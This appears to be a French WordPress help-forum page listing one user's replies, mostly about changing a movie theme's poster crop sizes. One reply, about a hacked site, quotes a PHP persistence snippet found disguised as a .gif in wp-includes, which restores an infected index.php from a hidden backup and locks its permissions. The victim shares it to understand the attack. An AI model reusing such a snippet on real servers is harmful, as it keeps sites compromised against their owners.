RachPat (Créer un compte)

Toutes mes réponses sur les forums

15 sujets de 1 à 15 (sur un total de 21)
  • Auteur
    Messages
  • en réponse à : [Résolu] modifier le format automatique des images #2471086
    RachPat
    Participant
    Initié WordPress
    29 contributions

    Merci pour le message, en effet vous avez raison, le thème enfant était inclus avec le thème parent amymovie.

    Je ne savais pas qu’un thème enfant risquait être mis à jour lors d’une évolution du thème parent mais de toute façon je garde toujours précieusement les indications de modifications dans mon ordi + sauvegarde externe pour le au-cas-où !

    Merci pour l’avertissement et au plaisir !

    en réponse à : [Résolu] modifier le format automatique des images #2471063
    RachPat
    Participant
    Initié WordPress
    29 contributions

    Merci pour la réponse, je comprends.

    Je viens de rechercher une image scaled dans ma bibliothèque des médias et il se trouve que l’affiche de Kung-fu Panda 4 a été moulinée en scaled… et l’affichage est ok dans le caroussel (non tronquée sur les côtés). Du coup je me dis que le js additionnel pour le scaled n’est pas nécessaire…

    D’autant qu’en faisant un test en important une nouvelle image lourde j’ai compris qu’il y a non seulement une moulinette pour générer un -scaled mais aussi pour supprimer l’image source, du coup j’imagine que le code js que vous m’avez fourni est valable pour les images -scaled qui sont finalement reconnus comme images sources.

    Donc, c’est PARFAIT ! Merci encore !

    Je passe cet échange en « résolu » et je vous souhaites à tous et toutes une très bonne journée !

    en réponse à : [Résolu] modifier le format automatique des images #2471050
    RachPat
    Participant
    Initié WordPress
    29 contributions

    Merci, c’est gééééénial !

    J’ai appliqué l’ajout de code js personnalisé et ça fonctionne à merveille pour mes carrousels de page d’accueil : https://cinelefoyer.com/
    (J’ai pris le soin de remplacer les affiches qui n’avaient pas le même format pour que ça soit bien uniforme.)

    Dernière question si ce n’est pas abuser : j’ai tenté de mettre le même code js pour remplacer un éventuel nomdefichier-scaled.jpg qui se créerait sans m’avertir, j’ai fait un test en important une image que j’ai nommé nomdefichier-scaled.jpg mais ça n’a pas fonctionné, le caroussel m’affichait un blanc genre image manquante… j’avais rajouté :

    $=jQuery;
    var img = ‘.amy-section.wpb_row .amy-movie-item-poster a img’; $(img).each(function(){ img = $(this).attr(‘src’, $(this).attr(‘src’).replace(‘-scaled’,  »));
    });

    Du coup j’imagine que ce n’était peut-être pas si simple car l’image scaled vient d’une fonction que je ne maitrise pas… ? Avez-vous un avis là-dessus ?

    En tout cas, merci mille fois pour votre aide et bravo pour l’encodage !

    PS : en effet j’utilise un thème enfant pour ma bidouille donc tout va bien de ce côté-là.

    en réponse à : [Résolu] modifier le format automatique des images #2471022
    RachPat
    Participant
    Initié WordPress
    29 contributions

    Ohhhhh ! Merci pour ce message, ça m’intéresse vraiment de connaitre cette bidouille et dans ce cas je veillerai à préparer des images homothétiques pour toutes les affiches du carroussel…

    C’est un css ou js additionnel à ajouter ? Merci d’avance si vous pouvez me donner le tuyau !

    Très bonne soirée !

    en réponse à : [Résolu] modifier le format automatique des images #2470960
    RachPat
    Participant
    Initié WordPress
    29 contributions

    Merci pour votre réponse,
    je comprends bien le principe du forum, en effet, pas de souci !

    Mais pour information, à force d’explorer les fichiers du thème j’ai fini par trouver une bidouille pour que l’affiche soit entière sur la page film, c’est déjà un grand pas ! j’ai juste enlevé l’information « sb-full » à la ligne <?php echo amy_movie_get_poster($post->ID, $custom_size[‘sb-full’]); ?> du fichier qui gère l’affichage du contenu de cette page, et ça donne : https://cinelefoyer.com/film/il-reste-encore-demain/

    Par contre pour le carroussel d’affiches en page d’accueil, c’est une autre affaire, je pense que je vais laisser tomber si je n’ai pas de réponse du créateur du thème.

    En tout cas merci pour toutes les réponses que j’ai eues, ce forum est toujours riche d’apprentissage. D’ailleurs des fois je me rends compte que rien que de devoir bien formuler son problème amène à mieux le comprendre !

    Très bonne soirée et à peut-être à bientôt pour un autre casse-tête !

    en réponse à : [Résolu] modifier le format automatique des images #2470902
    RachPat
    Participant
    Initié WordPress
    29 contributions

    ah d’accord, je n’avais pas compris que l’on ne pouvait pas joindre des fichiers php !
    voici donc le fichier resize.php en copié collé, avec en gras ce qui me semble intéressant (mais je suis peut-être complètement à côté de la plaque !)

    <?php

    /**
    * Resizes an image and returns the resized URL. Uses native WordPress functionality.
    *
    * The function supports GD Library and ImageMagick. WordPress will pick whichever is most appropriate.
    * If none of the supported libraries are available, the function will return the original image url.
    *
    * Images are saved to the WordPress uploads directory, just like images uploaded through the Media Library.
    *
    * Supports WordPress 3.5 and above.
    *
    * Based on resize.php by Matthew Ruddy (GPLv2 Licensed, Copyright (c) 2012, 2013)
    * https://github.com/MatthewRuddy/Wordpress-Timthumb-alternative
    *
    * License: GPLv2
    * http://www.gnu.org/licenses/gpl-2.0.html
    *
    * @author Ernesto Méndez (http://der-design.com)
    * @author Matthew Ruddy (http://rivaslider.com)
    */

    add_action(‘delete_attachment’, ‘mr_delete_resized_images’);

    function mr_image_resize($url, $width = null, $height = null, $crop = true, $align = ‘c’, $retina = false) {

    global $wpdb;

    // Get common vars (func_get_args() only get specified values)
    $common = mr_common_info($url, $width, $height, $crop, $align, $retina);

    // Unpack vars if got an array…
    if (is_array($common)) extract($common);

    // … Otherwise, return error, null or image
    else return $common;

    if (!file_exists($dest_file_name)) {

    // We only want to resize Media Library images, so we can be sure they get deleted correctly when appropriate.
    $query = $wpdb->prepare(« SELECT * FROM $wpdb->posts WHERE guid=’%s' », $url);
    $get_attachment = $wpdb->get_results($query);

    // Load WordPress Image Editor
    $editor = wp_get_image_editor($file_path);

    // Print possible wp error
    if (is_wp_error($editor)) {
    if (is_user_logged_in()) print_r($editor);
    return null;
    }

    if ($crop) {

    $src_x = $src_y = 0;
    $src_w = $orig_width;
    $src_h = $orig_height;

    $cmp_x = $orig_width / $dest_width;
    $cmp_y = $orig_height / $dest_height;

    // Calculate x or y coordinate and width or height of source
    if ($cmp_x > $cmp_y) {

    $src_w = round($orig_width / $cmp_x * $cmp_y);
    $src_x = round(($orig_width – ($orig_width / $cmp_x * $cmp_y)) / 2);

    } else if ($cmp_y > $cmp_x) {

    $src_h = round($orig_height / $cmp_y * $cmp_x);
    $src_y = round(($orig_height – ($orig_height / $cmp_y * $cmp_x)) / 2);

    }

    // Positional cropping. Uses code from timthumb.php under the GPL
    if ($align && $align != ‘c’) {
    if (strpos($align, ‘t’) !== false) {
    $src_y = 0;
    }
    if (strpos($align, ‘b’) !== false) {
    $src_y = $orig_height – $src_h;
    }
    if (strpos($align, ‘l’) !== false) {
    $src_x = 0;
    }
    if (strpos($align, ‘r’) !== false) {
    $src_x = $orig_width – $src_w;
    }
    }

    // Crop image
    $editor->crop($src_x, $src_y, $src_w, $src_h, $dest_width, $dest_height);

    } else {

    // Just resize image
    $editor->resize($dest_width, $dest_height);

    }

    // Save image
    $saved = $editor->save($dest_file_name);

    // Print possible out of memory error
    if (is_wp_error($saved)) {
    if (is_user_logged_in()) {
    print_r($saved);
    unlink($dest_file_name);
    }
    return null;
    }

    // Add the resized dimensions and alignment to original image metadata, so the images
    // can be deleted when the original image is delete from the Media Library.
    if ($get_attachment) {
    $metadata = wp_get_attachment_metadata($get_attachment[0]->ID);
    if (isset($metadata[‘image_meta’])) {
    $md = $saved[‘width’] . ‘x’ . $saved[‘height’];
    if ($crop) $md .= ($align) ? « _${align} » : « _c »;
    $metadata[‘image_meta’][‘resized_images’][] = $md;
    wp_update_attachment_metadata($get_attachment[0]->ID, $metadata);
    }
    }

    // Resized image url
    $resized_url = str_replace(basename($url), basename($saved[‘path’]), $url);

    } else {

    // Resized image url
    $resized_url = str_replace(basename($url), basename($dest_file_name), $url);

    }

    // Return resized url
    return $resized_url;

    }

    // Returns common information shared by processing functions

    function mr_common_info($url, $width, $height, $crop, $align, $retina) {

    // Return null if url empty
    if (empty($url)) {
    return is_user_logged_in() ? « image_not_specified » : null;
    }

    // Return if nocrop is set on query string
    if (preg_match(‘/(\?|&)nocrop/’, $url)) {
    return $url;
    }

    // Get the image file path
    $urlinfo = parse_url($url);
    $wp_upload_dir = wp_upload_dir();

    if (preg_match(‘/\/[0-9]{4}\/[0-9]{2}\/.+$/’, $urlinfo[‘path’], $matches)) {
    $file_path = $wp_upload_dir[‘basedir’] . $matches[0];
    } else {
    $pathinfo = parse_url($url);
    $uploads_dir = is_multisite() ? ‘/files/’ : ‘/wp-content/’;
    $file_path = ABSPATH . str_replace(dirname($_SERVER[‘SCRIPT_NAME’]) . ‘/’,  », strstr($pathinfo[‘path’], $uploads_dir));
    $file_path = preg_replace(‘/(\/\/)/’, ‘/’, $file_path);
    }

    // Don’t process a file that doesn’t exist
    if (!file_exists($file_path)) {
    return null; // Degrade gracefully
    }

    // Get original image size
    $size = is_user_logged_in() ? getimagesize($file_path) : @getimagesize($file_path);

    // If no size data obtained, return error or null
    if (!$size) {
    return is_user_logged_in() ? « getimagesize_error_common » : null;
    }

    // Set original width and height
    list($orig_width, $orig_height, $orig_type) = $size;

    // Generate width or height if not provided
    if ($width && !$height) {
    $height = floor($orig_height * ($width / $orig_width));
    } else if ($height && !$width) {
    $width = floor($orig_width * ($height / $orig_height));
    } else if (!$width && !$height) {
    return $url; // Return original url if no width/height provided
    }

    // Allow for different retina sizes
    $retina = $retina ? ($retina === true ? 2 : $retina) : 1;

    // Destination width and height variables
    $dest_width = $width * $retina;
    $dest_height = $height * $retina;

    // Some additional info about the image
    $info = pathinfo($file_path);
    $dir = $info[‘dirname’];
    $ext = $info[‘extension’];
    $name = wp_basename($file_path, « .$ext »);

    // Suffix applied to filename
    $suffix = « ${dest_width}x${dest_height} »;

    // Set align info on file
    if ($crop) {
    $suffix .= ($align) ? « _${align} » : « _c »;
    }

    // Get the destination file name
    $dest_file_name = « ${dir}/${name}-${suffix}.${ext} »;

    // Return info
    return array(
    ‘dir’ => $dir,
    ‘name’ => $name,
    ‘ext’ => $ext,
    ‘suffix’ => $suffix,
    ‘orig_width’ => $orig_width,
    ‘orig_height’ => $orig_height,
    ‘orig_type’ => $orig_type,
    ‘dest_width’ => $dest_width,
    ‘dest_height’ => $dest_height,
    ‘file_path’ => $file_path,
    ‘dest_file_name’ => $dest_file_name,
    );

    }

    // Deletes the resized images when the original image is deleted from the WordPress Media Library.

    function mr_delete_resized_images($post_id) {

    // Get attachment image metadata
    $metadata = wp_get_attachment_metadata($post_id);

    // Return if no metadata is found
    if (!$metadata) return;

    // Return if we don’t have the proper metadata
    if (!isset($metadata[‘file’]) || !isset($metadata[‘image_meta’][‘resized_images’])) return;

    $wp_upload_dir = wp_upload_dir();
    $pathinfo = pathinfo($metadata[‘file’]);
    $resized_images = $metadata[‘image_meta’][‘resized_images’];

    // Delete the resized images
    foreach ($resized_images as $dims) {

    // Get the resized images filename
    $file = $wp_upload_dir[‘basedir’] . ‘/’ . $pathinfo[‘dirname’] . ‘/’ . $pathinfo[‘filename’] . ‘-‘ . $dims . ‘.’ . $pathinfo[‘extension’];

    // Delete the resized image (if it has not yet been deleted)
    @unlink($file);

    }

    }

    en réponse à : [Résolu] modifier le format automatique des images #2470901
    RachPat
    Participant
    Initié WordPress
    29 contributions

    Bonjour, merci beaucoup pour vos réponses.
    J’ai en effet écrit au créateur du thème mais sans réponse pour l’instant…

    Je poursuis donc mes tentatives avec vos indications !

    J’ai tenté de rajouter un nouveau format renommé affiche-cine dans le fichier functions.php du thème child actif,
    puis j’ai remplacé entry-thumb par affiche-cine dans le fichier content-single-movie.php, que j’ai placé dans le thème child.
    Puis j’ai créé une nouvelle fiche film en important une nouvelle affiche, mais ça n’a rien fait, car systématiquement c’est une image recadrée et renommée nomdelimage-360x618_c.jpg qui est utilisée…

    J’ai fait d’autres recherches sur entry-thumb mais il apparait souvent… alors difficile de comprendre ce qui influera ou pas…

    Mais j’ai trouvé un autre fichier qui me semble intéressant mais incompréhensible pour moi : il s’appelle resize.php et je comprends qu’il commande le renommage des fichiers recadrés avec _c.
    Ce fichier a sa place dans le dossier « inc/core » du thème amymovie (si ça a son importance ?)
    Je le mets en pièce jointe si quelque passionné a toujours le goût de m’aider !

    Merci d’avance de vos suggestions, je me sens moins seule !

    PS : je ne sais pas si déontologiquement c’est possible mais je pourrais aussi proposer un .zip du thème à qui voudrait m’aider… ?

    Très bonne soirée !

    en réponse à : [Résolu] modifier le format automatique des images #2470788
    RachPat
    Participant
    Initié WordPress
    29 contributions

    oooops, mon fichier joint n’a pas pu être joint, voici donc son adresse :

    https://cinelefoyer.com/wp-content/uploads/amy-movie/multi-cinema/multi-cinema.json

     

    en réponse à : [Résolu] modifier le format automatique des images #2470787
    RachPat
    Participant
    Initié WordPress
    29 contributions

    Bonjour,
    merci beaucoup pour votre réponse,
    j’ai suivi le tuto et rajouté le code suivant dans le fichier functions.php du thème enfant actif :

    /*
    * Création taille de miniature adaptée au format affiche film
    */
    function reuhno_setup_init_images() {
    add_image_size( ‘entry-thumb’, 480, 360, true );
    }

    add_action( ‘after_setup_theme’, ‘reuhno_setup_init_images’ );

     

    J’ai ensuite créé une nouvelle fiche film avec un nouveau import d’image mais ça n’a pas marché, l’image reste au format 360×618 (elle a été renommée nomdelimage-360x618_c.jpg.)

     

    Autre piste explorée :
    afin de dénicher quel fichier génère le format 360×618 j’ai arpenté quasi tous les fichiers du theme et des plugins associés en faisant une recherche sur « 360×618 », et j’ai trouvé le fichier ci-joint dans le dossier upload > wp-content/uploads/amy-movie/multi-cinema/multi-cinema.json
    J’ai remplacé tous les « 360×618 » par « 360×480 » mais rien n’a pas bougé… ç’aurait été trop facile !
    Mais peut-être qu’il y a là la clé d’une manip à faire, pour quelqu’un qui sait lire le code ?

    Merci d’avance à toute personne qui prend le temps de regarder ça et très bonne journée !

     

     

     

    RachPat
    Participant
    Initié WordPress
    29 contributions

    Merci beaucoup pour ces conseils et merci vraiment à ce forum d’exister, c’est toujours une mine d’informations !

    RachPat
    Participant
    Initié WordPress
    29 contributions

    Merci beaucoup pour ces précisio. En effet, le fichier Ty2Kzn.htm était présent dans le wp-includes infecté, ainsi que le fichier index.php.
    Quant au fichier wp-config, celui-là n’avait pas d’anomalie…

    J’ai pu remettre en route le site en faisant attention à chaque dossier de wp-content que je réimportais, et bonheur, les fichiers htaccess ne se sont pas re-créés… Ouf ! J’ai aussi changé le mot de passe d’accès au site…

    Suite à beaucoup de farfouillages sur le net, j’hésite à rajouter dans le .htaccess le code :

    <Files xmlrpc.php>
    Order Allow,Deny
    Deny from all
    </Files>

    Si vous avez un avis là-dessus ?
    En tout cas, merci, après un sacré paquet d’heures de recherche j’ai retrouvé mon admin !

    Très bonne soirée !

     

    RachPat
    Participant
    Initié WordPress
    29 contributions

    Merci beaucoup pour cette réponse et ce tuto… bien fastidieux en effet mais c’est super d’avoir cette route… à suivre !

    Pour info, j’ai détecté un drôle de fichier « soi-disant gif » dans le wp-include (en faisant des comparaisons avec le wp-include de base de wp) :

    il s’agit du fichier wp-includes > images > 1eCOxV.gif

    et quand on l’ouvre il dit :

    <?php
    $in = « /home/brasseriip/www/index.php »;
    $bkin = « /home/brasseriip/www/wp-includes/images/Ty2Kzn.htm »;
    if($in && file_exists($bkin)){
    if(!file_exists($in) or (filesize($in) != filesize($bkin))){
    @chmod($in,0644);
    @file_put_contents($in,file_get_contents($bkin));
    @chmod($in,0444);
    }
    }
    ?>

    Si vous comprenez le code, pensez-vous que ça fasse partie de la clé du piratage ?

    Merci de votre intérêt pour la question et bonne fin de journée

     

    en réponse à : Problème avec Theme Raw Version : 1.7 Par UDTHEMES #2449479
    RachPat
    Participant
    Initié WordPress
    29 contributions

    Merci de votre réponse, et oui, je comprends, quand on perd trace de l’éditeur du thème, ça semble cuit… Tant pis ! Merci et bonne soirée

    RachPat
    Participant
    Initié WordPress
    29 contributions

    Nos messages se sont croisés, je viens de mettre votre 3ème proposition… MERVEILLEUX, cette fois ça fonctionne ! Bravo !

    Si je peux vous demander encore un petit détail : voyez-vous un moyen de faire passer l’info « amy_genre » au-dessus du bandeau des dates qui correspond à « mpaa »

    Mais déjà, c’est génial, merci beaucoup !

    RachPat
    Participant
    Initié WordPress
    29 contributions

    Merci pour votre retour,

    j’ai pris votre nouveau code et je ne l’ai mis qu’à l’emplacement Amymovie > CSS et JS personnalisés > CSS personnalisés

    (j’ai supprimé le code dans Apparence > Personnaliser > CSS additionnel)

    Malheureusement je ne vois pas d’effet sur l’affichage…

15 sujets de 1 à 15 (sur un total de 21)